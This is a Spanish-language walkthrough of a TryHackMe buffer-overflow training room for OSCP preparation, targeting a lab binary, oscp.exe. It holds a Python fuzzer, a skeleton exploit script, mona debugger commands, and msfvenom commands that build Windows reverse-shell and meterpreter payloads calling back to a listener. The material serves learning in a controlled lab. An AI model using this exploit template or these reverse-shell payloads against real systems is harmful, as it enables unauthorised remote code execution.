Buffer Overflow Prep [TryHackMe]

2023-09-19

Introducción

Esta sala de TryHackMe consiste en realizar una explotación de Buffer Overflow en la aplicación oscp.exe con herramientas como Immunity Debugger, Mona, y msfvenom en un entorno controlado. Es una sala de aprendizaje orientada a la preparación de ataques Buffer Overflow para la certificación OSCP, pero tambíen es un tutorial estupendo para aprender los conceptos básicos de este tipo de ataques.

¿Qué es un buffer overflow?

Un ataque buffer overflow es un error de programación que sucede cuando se copian una cantidad de datos en un área de memoria que no es suficientemente grande para almacenarlos. Esto causaría un desbordamiento de buffer o buffer overrun, lo cual hace que los datos de entrada ocupen zonas de memoria adyacentes, donde un atacante podría ejecutar un código malicioso.

Un desbordamiento de búfer (buffer overflow) es una vulnerabilidad de seguridad que ocurre cuando un programa o aplicación intenta almacenar más datos en un búfer (una región de memoria temporal) de lo que puede contener. Esto puede llevar a que los datos sobrantes sobrescriban la memoria adyacente, incluyendo áreas críticas del programa o incluso el sistema operativo, lo que puede tener consecuencias graves.

¿Para que se puede usar el buffer overflow?

Un ataque de buffer overflow puede tener diferentes objetivos

  1. Denegación de servicio del software objetivo.
  2. Sobreescribir la EIP para ejecutar código arbitrario dentro del sistema.

Registros de CPU

En un ataque de desbordamiento de búfer (buffer overflow), los registros de la CPU pueden ser fundamentales tanto para el éxito del ataque como para el control posterior sobre el programa o sistema. Los registros más importantes en este contexto son:

  1. EIP (Extended Instruction Pointer): es el registro que indica la dirección de memoria de la próxima instrucción que se ejecutará. En un ataque de desbordamiento de búfer, los atacantes suelen tratar de sobrescribir el valor de EIP para redirigir la ejecución del programa a una ubicación controlada por ellos, donde pueden inyectar código malicioso.
  2. ESP (Stack Pointer): es el registro que apunta a la cima de la pila de llamadas (stack) en memoria. Durante un ataque de desbordamiento de búfer, los atacantes pueden manipular el valor de ESP para controlar la ubicación en la que se almacenan los datos en la pila, lo que les permite modificar el flujo de ejecución.
  3. EBP (Base Pointer): se utiliza como un punto de referencia en la pila para acceder a variables locales y parámetros de función. Los atacantes también pueden intentar modificar el EBP para manipular la ejecución del programa.
  4. Otros registros generales: los registros generales como EAX, EBX, ECX, y EDX también pueden ser utilizados en ataques de desbordamiento de búfer, ya que pueden contener datos que los atacantes intentan sobrescribir o manipular para lograr sus objetivos.

¿Cómo se hace un buffer overflow?

El proceso se puede resumir en los 4 pasos siguientes:

  1. EIP Offset (Desplazamiento de EIP): En el proceso de explotación, uno de los pasos importantes es determinar cuántos bytes se necesitan para sobrescribir el registro EIP (Extended Instruction Pointer). Esto se hace enviando una secuencia de bytes de prueba y observando en qué punto se sobrescribe EIP. El valor en bytes desde el inicio de la secuencia hasta donde se sobrescribe EIP es el “EIP offset”. Debes encontrar este valor mediante el fuzzing antes de continuar con la explotación.
  2. Badchars (Caracteres no válidos): Los “badchars” son bytes que pueden causar problemas en la explotación, como corromper la carga útil o impedir la ejecución del código malicioso. En este caso, se te pide que identifiques los “badchars” enviando una secuencia de bytes y comparando lo que se envió con lo que llegó a la memoria del programa objetivo. Los caracteres “badchars” son aquellos que se comportan de manera inesperada o dañina.
  3. Encontrar un Punto de Salto (Jump Point): Una vez que tengas el “EIP offset” y hayas identificado los “badchars”, debes encontrar una instrucción de salto (por ejemplo, jmp esp) en el código del programa que no contenga “badchars”. Esta instrucción de salto se usará para redirigir la ejecución del programa a la carga útil maliciosa.
  4. Generar la Carga Útil (Payload): Una vez que tengas todos los elementos anteriores, debes generar una carga útil que se inyectará en el programa objetivo para lograr tu objetivo. La carga útil suele ser código malicioso que te proporciona acceso al sistema objetivo o realiza alguna acción específica.
  5. Exploit: Finalmente, ejecutas el exploit modificando el programa objetivo con la carga útil y aprovechando la vulnerabilidad de desbordamiento de búfer para obtener acceso o control sobre el sistema.

Buffer Overflow Prep OSCP

Apuntes adaptados de: https://github.com/Tib3rius/Pentest-Cheatsheets/blob/master/exploits/buffer-overflows.rst

Immunity Debugger

Siempre ejecuta Immunity Debugger como Administrador si es posible.

Generalmente, hay dos formas de usar Immunity Debugger para depurar una aplicación:

  1. Asegúrate de que la aplicación esté en ejecución, abre Immunity Debugger y luego usa Archivo -> Adjuntar para conectar el depurador al proceso en ejecución.
  2. Abre Immunity Debugger y luego usa Archivo -> Abrir para ejecutar la aplicación.

Cuando adjuntas una aplicación o abres una aplicación en Immunity Debugger, la aplicación se pausará. Haz clic en el botón “Ejecutar” o presiona F9.

Nota: Si el binario que estás depurando es un servicio de Windows, es posible que necesites reiniciar la aplicación mediante sc.

sc stop SLmail
sc start SLmail

Algunas aplicaciones están configuradas para iniciarse desde el administrador de servicios y no funcionarán a menos que se inicien desde el control de servicios.

Configuración de Mona

Mona es un complemento para Immunity Debugger que facilita mucho la explotación de buffer overflows. Descarga: mona.py

Copiar el archivo mona.py en el directorio PyCommands de Immunity Debugger (generalmente ubicado en C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands).

En Immunity Debugger, ejecutar el siguiente comando para configurar un directorio de trabajo para mona.

!mona config -set workingfolder c:\mona\%p

Fuzzing

El siguiente script de Python se puede modificar y usar para fuzzear puntos de entrada remotos de una aplicación. Enviará cadenas de búfer cada vez más largas con la esperanza de que una de ellas finalmente haga que la aplicación se bloquee.

#!/usr/bin/env python3

import socket, time, sys

ip = "IP_TARGET"

port = 1337
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

Asegurarse de que el registro EIP haya sido sobrescrito por A (\x41). Hay que tomar nota de cualquier otro registro que haya sido sobrescrito o que esté apuntando a un espacio en memoria que ha sido sobrescrito.

Replicación del Bloqueo y Control de EIP

El siguiente código de exploit esqueleto se puede usar para el resto de la explotación de buffer overflow:

import socket

ip = "IP_TARGET"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""

payload = ""

postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Usando la longitud del búfer que causó el bloqueo, generar un búfer único para determinar el desplazamiento en el patrón que sobrescribe el registro EIP y el desplazamiento en el patrón al que apuntan otros registros. Crea un patrón que sea 400 bytes más largo que el búfer que bloqueó la aplicación para determinar si nuestro shellcode puede encajar de inmediato. Si el búfer más grande no bloquea la aplicación, usa un patrón igual a la longitud del búfer que bloqueó la aplicación y agrega lentamente más al búfer para encontrar espacio.

msf-pattern_create -l 600

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Mientras el búfer único esté en la pila, usa el comando findmsp de mona o la herramienta en linux msf-pattern_offset, con el argumento de distancia configurado en la longitud del patrón.

# Con msf-pattern, donde -q es el adress y -l la longitud
msf-pattern_offset -q 35714234 -l 600

# Con Mona en Inmunity Debugger, los dos metodos son validos
!mona findmsp -distance 600
...
[+] Buscando un patrón cíclico en la memoria
Patrón cíclico (normal) encontrado en 0x005f3614 (longitud 600 bytes)
Patrón cíclico (normal) encontrado en 0x005f4a40 (longitud 600 bytes)
Patrón cíclico (normal) encontrado en 0x017df764 (longitud 600 bytes)
EIP contiene un patrón normal: 0x78413778 (desplazamiento 112)
ESP (0x017dfa30) apunta al desplazamiento 116 en el patrón normal (longitud 484)
EAX (0x017df764) apunta al desplazamiento 0 en el patrón normal (longitud 600)
EBP contiene un patrón normal: 0x41367841 (desplazamiento 108)
...

Tomar nota del desplazamiento de EIP y de cualquier otro registro que apunte al patrón, tomando nota de sus desplazamientos también. Parece que el registro ESP apunta a los últimos 484 bytes del patrón, que es suficiente espacio para nuestro shellcode.

Crea un nuevo búfer utilizando esta información para asegurarte de que puedas controlar EIP:

prefix = ""
offset = 112
overflow = "A" * offset
retn = "BBBB"
padding = ""

payload = "C" * (600-112-4)

postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

Bloquea la aplicación usando este búfer y asegúrate de que EIP esté sobrescrito por B (\x42) y que el registro ESP apunte al comienzo de los C enviados en el payload.

Encontrar Caracteres Incorrectos

Genera un bytearray utilizando mona y excluye el byte nulo (\x00) de forma predeterminada. Toma nota de la ubicación del archivo bytearray.bin que se genera.

!mona bytearray -b "\x00"

Ahora genera una cadena de caracteres incorrectos que sea idéntica al bytearray. El siguiente script de Python se puede utilizar para generar una cadena de caracteres incorrectos desde \x01 hasta \xff:

#!/usr/bin/env python
from __future__ import print_function

for x in range(1, 256):
    print("\\x" + "{:02x}".format(x), end='')

print()

Coloca la cadena de caracteres incorrectos antes de los C en tu búfer y ajusta la cantidad de C para compensar:

badcharacters = "\x01\x02\x03\x04\x05...\xfb\xfc\xfd\xfe\xff"
payload = badcharacters + "C" * (600-112-4-255)

Bloquea la aplicación usando este búfer y toma nota de la dirección a la que apunta ESP. Esto puede cambiar cada vez que bloquees la aplicación, así que acostúmbrate a copiarlo del registro cada vez.

Utiliza el comando mona compare para hacer referencia al bytearray que generaste y a la dirección a la que apunta ESP:

# comparar con el address
!mona compare -f C:\mona\<appname>\bytearray.bin -a <dirección>

# comparar referenciando al address con esp
!mona compare -f C:\mona\<appname>\bytearray.bin -a ESP

REPETIR HASTA QUE HAYA ENCONTRADO TODOS LOS BADCHARACTERS, HACIENDOLO DE UNO EN UNO.

Encontrar un Punto de Salto

El comando mona jmp se puede usar para buscar instrucciones jmp (o equivalentes) a un registro específico. El comando jmp, por defecto, ignorará cualquier módulo marcado como aslr o rebase.

El siguiente ejemplo busca “jmp esp” o equivalente (por ejemplo, call esp, push esp; retn, etc.) asegurándose de que la dirección de la instrucción no contenga los caracteres incorrectos \x00, \x0a y \x0d.

!mona jmp -r esp -cpb "\x00\x0a\x0d"

El comando mona find también se puede utilizar para encontrar instrucciones específicas, aunque en su mayor parte, el comando jmp es suficiente:

!mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -cpb "\x00\x0a\x0d"

Cuando se encuentr el punto de salto, hay que anotar cualquiera de las direcciones que genere el comando de mona. Las direcciones de memoria generalmente se almacenan en formato hexadecimal y en un formato específico de bytes en aplicaciones de explotación.

Si la dirección que obtuviste de Mona está en formato hexadecimal, generalmente se necesita convertirla en el formato necesario para que la aplicación la ejecute correctamente. En este caso se hará con el formato Little Endian.

Little Endian: En este formato, el byte menos significativo (el byte más pequeño) se almacena en la dirección de memoria más baja, mientras que el byte más significativo (el byte más grande) se almacena en la dirección de memoria más alta. La mayoría de las arquitecturas x86 y x86-64 utilizan el formato little endian.

Supongamos que tenemos el número hexadecimal 0x12345678. 

    Dirección de memoria más baja (menos significativa): 0x78
    Dirección de memoria siguiente: 0x56
    Dirección de memoria siguiente: 0x34
    Dirección de memoria más alta (más significativa): 0x12

Por lo que quedaría \x78\x56\x34\x12

Se puede hacer a mano o usando el pequeño script de python siguiente:

import sys

if len(sys.argv) != 2:
        print("[*] Run:\n\tjump_address.py <jump_point_address>")
        sys.exit(1)

address = sys.argv[1]

n1 = address[0:2]
n2 = address[2:4]
n3 = address[4:6]
n4 = address[6:8]
 
print("\nretn =  " + "\"\\x" + n4 + "\\x" + n3 +"\\x" + n2 +"\\x" + n1+"\"")

Generar Payload

Genera un payload de shell inverso usando msfvenom, asegurándote de excluir los mismos caracteres incorrectos que se encontraron anteriormente:

# Reverse shell basica
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.92 LPORT=4444 EXITFUNC=thread -b "\x00\x0a\x0d" -f c

# Meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 EXITFUNC=process -b "\x00\x0a\x0d" -f c

Agregar NOPs

Si se utilizó un codificador (lo más probable si hay caracteres incorrectos), recuerda agregar al menos 16 NOPs (\x90) al payload.

Búfer Final

prefix = ""
offset = 112
overflow = "A" * offset
retn = "\x56\x23\x43\x9A"
padding = "\x90" * 16
payload = "\xdb\xde\\xba\x69\xd7\xe9\xa8\xd9\x74\x24\xf4\x58\x29\xc9\xb1..."
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

Seguir practicando Buffer Overflow

(◕‿‿◕) Hack the planet!